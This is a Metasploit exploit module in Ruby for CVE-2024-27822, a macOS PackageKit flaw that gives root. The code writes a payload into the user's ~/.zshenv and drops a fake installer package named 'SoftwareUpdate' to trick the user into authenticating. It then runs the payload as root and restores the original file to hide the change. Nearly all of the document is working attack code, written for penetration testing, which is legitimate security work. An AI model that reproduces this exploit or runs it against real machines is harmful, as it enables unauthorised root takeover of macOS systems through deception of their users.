macOS PackageKit ZSH Environment Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking # user interaction required

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation',
        'Description' => %q{
          This module exploits CVE-2024-27822, a vulnerability in macOS
          PackageKit.framework where PKG installer scripts using a ZSH shebang
          (#!/bin/zsh) are executed as root while inheriting the installing user's
          environment. This causes ZSH to load the user's ~/.zshenv with root
          privileges before the installer script body runs.

          The module injects a payload into ~/.zshenv that only fires when EUID is 0,
          uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose
          install script uses a #!/bin/zsh shebang, and opens it with Installer.app.
          When the user approves the installation dialog and authenticates, PackageKit
          runs the install script as root. ZSH sources ~/.zshenv before the script body
          executes, so the payload fires with root privileges. The original ~/.zshenv
          content is restored immediately after the payload runs.

          Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier,
          and all macOS 11 and older releases.
          Fixed in: macOS 14.5, 13.6.7, 12.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mykola Grymalyuk', # Discovery and research
          'h00die' # Metasploit module
        ],
        'Platform' => ['osx', 'unix'],
        'Arch' => ARCH_CMD,
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['macOS', {}]],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Passive' => true,
        'Stance' => Msf::Exploit::Stance::Passive,
        'References' => [
          ['CVE', '2024-27822'],
          ['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 1_800, # 30min
          'PrependFork' => true
        },
        'DisclosureDate' => '2024-06-03',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']),
      OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate'])
    ])
  end

  def check
    unless command_exists?('zsh')
      return CheckCode::Safe("zsh isn't available on this system")
    end

    version = Rex::Version.new(get_system_version)

    case version
    when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
    when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)")
    when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)")
    when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    else
      CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
    end
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
    fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir'])

    home_dir = create_process('printenv', args: ['HOME']).strip
    fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
    zshenv_path = "#{home_dir}/.zshenv"

    # Preserve original .zshenv so we can restore it after root execution
    original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
    original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '')

    # The injection block only runs when EUID==0 (PackageKit root context).
    # It restores .zshenv first, then runs the payload.
    injection = <<~ZSHENV
      if [ "$EUID" = "0" ]; then
        echo '#{original_b64}' | base64 -d > '#{zshenv_path}'
        #{payload.encoded}
      fi
    ZSHENV

    print_status("Injecting payload into #{zshenv_path}")
    write_file(zshenv_path, injection + original_zshenv)
    # Fallback cleanup if the PKG is never installed
    register_file_for_cleanup(zshenv_path)

    pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_')
    pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg"

    print_status("Uploading PKG: #{pkg_path}")
    write_file(pkg_path, load_template_pkg)
    fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path)
    register_file_for_cleanup(pkg_path)
    print_good("PKG uploaded: #{pkg_path}")

    print_warning('Opening Installer.app - the user must click Install and authenticate.')
    create_process('open', args: [pkg_path])

    # taken from multi-handler
    stime = Time.now.to_f
    timeout = datastore['WfsDelay'].to_i
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

  private

  def load_template_pkg
    template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg')
    unless File.exist?(template_path)
      fail_with(Failure::BadConfig,
                "Template PKG not found at #{template_path}. " \
                'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.')
    end
    File.binread(template_path)
  end
end